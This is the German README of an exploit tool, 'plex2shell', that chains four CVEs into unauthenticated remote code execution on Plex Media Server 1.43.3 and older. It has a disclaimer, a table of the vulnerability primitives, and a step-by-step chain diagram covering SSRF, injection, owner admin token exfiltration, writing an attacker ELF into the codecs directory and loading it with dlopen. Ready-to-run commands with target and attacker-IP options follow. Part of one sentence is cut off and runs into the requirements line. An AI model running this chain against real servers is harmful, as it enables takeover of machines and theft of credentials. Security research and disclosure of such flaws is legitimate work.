
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
Unauth-RCE-Kette für Plex Media Server 1.43.3.10828 und älter.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Write-up: https://zmain.info/blog/plex2shell
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests, akademische Forschung und Verteidigungszwecke veröffentlicht. Verwende es nur gegen Systeme, die dir gehören oder für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Unbefugter Zugriff auf Computersysteme ist illegal.
| CVE | Primitive |
|---|---|
| CVE-2026-96652 | Nicht authentifizierte SSRF über /player/timeline protocol= |
| CVE-2026-96654 | Loopback-Pivot: toter Auth-Guard + searchOne identifier=-Injection |
| CVE-2026-96655 | Owner-authentifizierte Transcoder-SSRF + Dateischreiben auf beliebigen Pfad (dump-yuv) |
| CVE-2026-96656 | Codeausführung über unsignierten Codec dlopen im Codecs-Set-Dir |
[offenes Internet, Junk-Token]
|
(1) /player/timeline --- SSRF ---> Loopback-Origin
|
(2) /system/agents/.../searchOne --- identifier=-Injection --->
| Cross-Plugin-RPC
|
(3) networking.py:149 --- 127.0.0.1.*-Präfix-Verwechslung --->
| Owner-Admin-Token-Exfiltration
v
Angreifer besitzt das OWNER-Admin-Token
|
(4) /video/:/transcode/universal?path=<url> --- Transcoder-SSRF --->
| Abruf von Angreifer-Medien
|
(5) TranscoderH264Options=dump-yuv --- x264 schreibt Angreifer-ELF
| in Codecs-Set-Dir
v
zweiter Transcode -> dlopen()t jede *.so -> Konstruktor läuft
v
[uid=1000(plex)]
Die Payload ist die Luma von Frame 0 eines verlustfreien (qp=0) Trägers, den der
ffmpeg, gcc (oder x86_64-w64-mingw32-gcc für Windows-Ziele)# Linux nativ (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-Shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help für alles Weitere.
GPLv3